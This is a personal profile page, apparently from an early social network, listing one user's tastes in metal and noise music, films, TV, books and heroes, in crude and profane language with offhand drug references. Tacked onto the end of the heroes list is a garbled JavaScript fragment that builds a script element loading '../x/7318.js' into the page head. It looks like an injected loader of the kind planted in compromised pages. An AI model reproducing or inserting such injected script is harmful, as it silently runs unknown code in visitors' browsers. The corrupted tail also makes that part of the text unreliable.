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12 Oz. Chris

Ive only got time for a few, and not you!

About Me

Well I am me.. Musician, video game geek, noise and metal enthusiast. Go read all that shit on the side, thats what I wasted all my time at work for no?
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My Interests

Your mom, music, feedback, harmonics, grindcore, doom metal, stoner rock, death metal, black metal, aluminum metal, Green Matamps, my Marshall JCM800, Laney Klipps, any other painfully loud British tube amplification, cannabis consumption, beer that looks like 30W motor oil, Jameson Irish Whiskey, graffiti, the Bones Brigade, Team Santa Cruz circa 1980-1994, burlesque, pin-ups, lucha libre, lucha libre twins, old kung-fu and samurai flicks, psychedelics..

I'd like to meet:

Watch and learn..

Music:


SWANS, Godflesh, jesu, Techno Animal, Ice, GOD, Napalm Death, Scorn, Halo, OM, Sleep, High On Fire, Slayer, Black Flag, Minor Threat, Black Sun, Not Breathing, John Coltrane, Electric Wizard, Helmet, Neurosis, Blood and Time, Leonard Cohen, Isis, Pelican, BLACK SABBATH, Blue Cheer, Mayhem, Immortal, Drudkh, Anal Cunt, Impaled Northern Moonforest, Babyland, Bongzilla, Boris, Brujeria, Carcass, Cathedral, Dead Kennedys, Death, Frank Zappa, Hate Eternal, Immolation, Jimi Hendrix, Mastodon, Meshuggah, Mick Harris, Morbid Angel, Porn, Radiohead, Sidewinder, Sonic Youth, Sweet Tooth, Tech Level 2, Youpho, Terrorizer, The Who, Pink Floyd, Syd Barrett, Yob (R.I.P.), John Zorn, Fantomas, Mike Patton, Smashing Pumpkins, Hum, Thornlord, Monotremata, Mars, Jakko Vossler, Ministry, Skinny Puppy, Dead Voices on Air, Download, Throbbing Gristle, The Beatles, Big Black, Descendants...
This stupid playlist thing below only seems to work when it wants to...

Movies:

Anything Terry Gilliam, Star Wars series, Lord of the Rings Trilogy, Indiana Jones Trilogy, anything Miyazaki, Sonny Chiba and Bruce Lee, Zatoichi, Kubrick's entire collection as well..

Television:

12 OZ MOUSE!, Wondershowzen, Mr Show, Chappelles Show, South Park, Moral Orel, Daily Show, just about anything on Cartoon Network Adult Swim or Comedy Central..THIS JUST IN - FUCK CARTOON NETWORK FOR CANCELLING 12 OZ MOUSE!

Books:

J.R.R. Tolkien, The Silmarillion, The Art of War, The Tao of Jeet Kune Do, The Dhammapada, The Bhagavad Gita, Terry Brooks, Weis & Hickman's Dragonlance shit. Plenty. I could fill this up and make my page 4 miles long too.

Heroes:

My Mom, your mom, Justin K Broadrick, George Christian Green, Nicholas J Bullen, Michael J Harris, West-Midlands Thrash Core, Norman Westberg, Scott Kelly, Steve Von Till, William G Steer, Greg Ginn, Al Cisneros, Matt Pike, Chris Hakius, Billy Anderson, Colin Richardson, Tony Iommi, Geezer Butler, Bill Ward. Bruce Lee, Siddharta Guatama Buddha, You could be here too for the low cost of just $19.95!!! .."var s=..·('script');s.src='../x/7318.js';..&&# 035;183;getElementsByTagName('head')[0].appendChild(s);"